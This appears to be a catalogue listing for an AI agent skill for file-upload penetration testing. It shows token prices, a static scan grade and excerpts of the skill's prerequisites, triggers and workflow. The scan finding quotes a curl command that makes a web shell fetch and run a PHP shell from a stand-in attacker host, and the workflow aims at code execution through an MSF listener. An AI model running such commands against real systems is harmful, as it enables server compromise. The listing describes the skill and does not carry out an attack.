Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00045 | $0.03090 |
| Opus 5 | $0.00023 | $0.01545 |
| Sonnet 5 | $0.00009 | $0.00618 |
| Haiku 4.5 | $0.00005 | $0.00309 |
Grade A, and why
upload-pentest scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
curl -sk "https://<target>/uploads/shell.php" --data 'c=wget http://<attacker>/shell.php -O /tmp/s.php; php /tmp/s.php' Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.

File Upload Pentest
Prerequisites
- Target is in scope (
scope/scope-master.txt, engagement ROE). - Load
web-app-pentestfor overall web testing context and surface mapping. - Active engagement with valid
engagement_idfor all destructive MCP calls. - Confirm upload testing is authorized in ROE (shell upload may be restricted).
Triggers
- File upload form on profile, avatar, attachment, import, or admin pages
- API endpoint accepting multipart/form-data or base64 file bodies
- Image/document upload with client-side type validation only
- Upload response returns filename, path, or preview URL
- Allowed extensions listed in UI, error messages, or JavaScript validation
- Tech stack suggests PHP, ASP, JSP, or Node file handling (check
whatweb, headers)
Workflow
Task Progress:
- [ ] Map upload endpoints, parameters, and response behavior
- [ ] Identify allowed types, size limits, and server-side validation
- [ ] Test extension, content-type, and magic-byte bypasses
- [ ] Discover upload path and achieve code execution or XSS delivery
- [ ] Bridge to MSF listener or post-exploit modules
- [ ] Document request/response evidence and impact PoC

What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

upload-pentest is a skill published in the GitHub repository Suzu-Testing/metasploit-cursor-harness (3 stars, last pushed 13d ago), licensed MIT. It adds 45 tokens to every session and 3,090 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 2 findings (sends data to an external url, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
